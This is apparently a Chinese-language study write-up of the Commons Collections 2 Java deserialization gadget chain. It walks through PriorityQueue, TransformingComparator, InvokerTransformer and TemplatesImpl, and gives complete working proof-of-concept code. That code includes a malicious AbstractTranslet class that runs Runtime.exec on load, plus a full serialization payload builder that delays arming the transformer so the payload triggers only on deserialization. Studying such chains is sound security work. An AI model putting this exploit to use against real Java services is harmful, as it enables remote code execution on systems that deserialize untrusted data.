CommonsCollections2分析
CommonsCollection2调用流程
整个调用链详细版本
ObjectInputStream.readObject() | PriorityQueue.readObject() | PriorityQueue.heapify | PriorityQueue.siftDown | PriorityQueue.siftDownUsingComparator | TransformingComparator.compare() | InvokerTransformer.transform() | TemplatesImpl.getTransletInstance | ->(动态创建的类)cc2.newInstance()->Runtime.exec()
官方调用链
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
CommonsCollections2
在JDK1.8 8u71版本以后,对AnnotationInvocationHandler
的readobject
进行了改写。导致高版本中利用链无法使用。
所以cc2版本就没用使用AnnotationInvocationHandler而时使用了TemplatesImpI
+PriorityQueue
来构造利用链的。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个内置类, 这个类的骚操作就是,在调用他的 newTransformer
或者 getOutputProperties
(这个方法内部会调用 newTransformer) 时,会动态从字节码中重建一个类.
这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码.
第一步通过templatempI加载恶意类
TemplatesImpI类分析
这个类我们用来加载我们的恶意类。
分析getTransletInstance
这里有两个判断条件
如果_name==null 返回null
如果_class==null就调用defineTransletClasses()
下来跟进defineTransletClasses()
分析defineTransletClasses()
这里如果_bytecodes==null
就执行错误处理语句块
看上图代码紧接着进行获取当前_class的getSuperclass()获取超类 再进行判断这个超类是不是包含在ABSTRACT_TRANSLET 如果存在泽执行if里面的diamagnetic对_transletIndex赋值
这个常量中 可以跟进这个常量看看这个常量中存储了什么值
可以看到这里对 AbstractTranslet复制了AbstractTranslet这个类所以我们恶意类要继承它
注意再获取超类这里 这里我们就需要对_bytecodes中的恶意类进行继承AbstractTranslet继承之后才能完成这个条件
构造恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) {} } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
这里我们可以构造我们初步测试能成功调用恶意类的poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javax.xml.transform.TransformerConfigurationException; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.ArrayList; public class test2 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException { //实例化TemplatesImpl TemplatesImpl templates=new TemplatesImpl(); //获取TemplatesImpl的Class Class tc=templates.getClass(); Field nameField=tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); //加载恶意类 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); Field tfactoryField=tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); //调用 templates.newTransformer(); } }
加载恶意字节码poc的链子
TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()
接下来使用InvokerTransformer
的反射去调用newTransformer()
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator类分析
TransformingComparator
是一个修饰器,和CC1中的ChainedTransformer
类似。
TransformingComparator中的comparator 在TransformingComparator的构造方法中,传入了两个值transformer和decorated
TransformingComparator调用compare方法时,就会调用传入transformer对象的transform方法
具体实现是this.transformer
在传入ChainedTransformer
后,会调用ChainedTransformer#transform
反射链
我们在此可以构造 将反射调用的newTransformer传进去
TransformingComparator comparator =new TransformingComparator(invokerTransformer);
这样如果那块调用了compare()就会调用this.invokerTransformer.transformer()
那么接下来如何调用compare()?这就需要PriorityQueue登场了
PriorityQueue类分析
PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法 在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口
readObject中调用了heapify() 注意这里需要的for循环 这里长度是2才能满足条件 所以我们需要在创建好PriorityQueue之后再继续往里面add()添加元素
heapify()调用了siftdown()
sitdown()
调用了siftDownUsingComparator()
在siftDownUsingComparator()
又调用了comparator.compare()
调用到comparator.compare()方法中
这里就可以构造
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator); //将恶意类添加给PriorityQueue priorityQueue.add(templates); priorityQueue.add(2);
1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 2 import org.apache.commons.collections4.comparators.TransformingComparator; 3 import org.apache.commons.collections4.functors.InvokerTransformer; 4 import java.io.*; 5 import java.lang.reflect.*; 6 import java.nio.file.Files; 7 import java.nio.file.Paths; 8 import java.util.PriorityQueue; 9 10 11 public class CC2test { 12 13 public static void main(String[] args)throws Exception { 14 15 16 TemplatesImpl templates=new TemplatesImpl(); //实例化TemplatesImpl 17 Class tc=templates.getClass(); //获取templates的Classlass 18 Field nameField=tc.getDeclaredField("_name");//反射获取templates中的_name 19 nameField.setAccessible(true); //暴力反射 20 nameField.set(templates,"aaaa"); //修改_name的值 21 Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射获取templates中的_bytecodes 22 bytecodesField.setAccessible(true); //暴力反射 23 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //获取恶意类 24 byte[][] codes={code}; 25 bytecodesField.set(templates,codes);//修改_bytecodes的值 26 27 //反射调用newTransformer() 28 InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); 29 30 TransformingComparator transformingComparator=new TransformingComparator<>(invokerTransformer); 31 32 PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator); 33 //将恶意类添加给PriorityQueue 34 priorityQueue.add(templates); 35 priorityQueue.add(2); 36 37 38 serialize(priorityQueue); 39 unserialize("ser.bin"); 40 41 } 42 43 public static void serialize(Object obj) throws Exception{ 44 ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin")); 45 oss.writeObject(obj); 46 } 47 48 public static void unserialize(Object obj) throws Exception{ 49 ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin")); 50 oss.readObject(); 51 } 52 }
执行的时候报了哥错误
这里要防止它提前执行
将这里置空 传一个没有的东西
TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
当完PriorityQueue add()完之后再给它里面赋值即可
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator); //将恶意类添加给PriorityQueue priorityQueue.add(templates); priorityQueue.add(2); //将invokerTransformer给transformingComparator中的transformer Class c=transformingComparator.getClass(); Field transformField=c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator,invokerTransformer);
构建最终poc学习
1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 2 import org.apache.commons.collections4.comparators.TransformingComparator; 3 import org.apache.commons.collections4.functors.ConstantTransformer; 4 import org.apache.commons.collections4.functors.InvokerTransformer; 5 import java.io.*; 6 import java.lang.reflect.*; 7 import java.nio.file.Files; 8 import java.nio.file.Paths; 9 import java.util.PriorityQueue; 10 11 12 public class CC2test { 13 14 public static void main(String[] args)throws Exception { 15 16 17 TemplatesImpl templates=new TemplatesImpl(); //实例化TemplatesImpl 18 Class tc=templates.getClass(); //获取templates的Classlass 19 Field nameField=tc.getDeclaredField("_name");//反射获取templates中的_name 20 nameField.setAccessible(true); //暴力反射 21 nameField.set(templates,"aaaa"); //修改_name的值 22 Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射获取templates中的_bytecodes 23 bytecodesField.setAccessible(true); //暴力反射 24 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //获取恶意类 25 byte[][] codes={code}; 26 bytecodesField.set(templates,codes);//修改_bytecodes的值 27 28 //反射调用newTransformer() 29 InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); 30 31 //将TransformingComparator置空 防止再序列化时触发恶意类 32 TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1)); 33 34 35 PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator); 36 //将恶意类添加给PriorityQueue 37 priorityQueue.add(templates); 38 priorityQueue.add(2); 39 40 //将invokerTransformer给transformingComparator中的transformer 41 Class c=transformingComparator.getClass(); 42 Field transformField=c.getDeclaredField("transformer"); 43 transformField.setAccessible(true); 44 transformField.set(transformingComparator,invokerTransformer); 45 46 serialize(priorityQueue); 47 unserialize("ser.bin"); 48 49 } 50 51 public static void serialize(Object obj) throws Exception{ 52 ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin")); 53 oss.writeObject(obj); 54 } 55 56 public static void unserialize(Object obj) throws Exception{ 57 ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin")); 58 oss.readObject(); 59 } 60 }
参考
https://www.cnblogs.com/nice0e3/p/13860621.html#transformingcomparator
《P牛的java代码审计》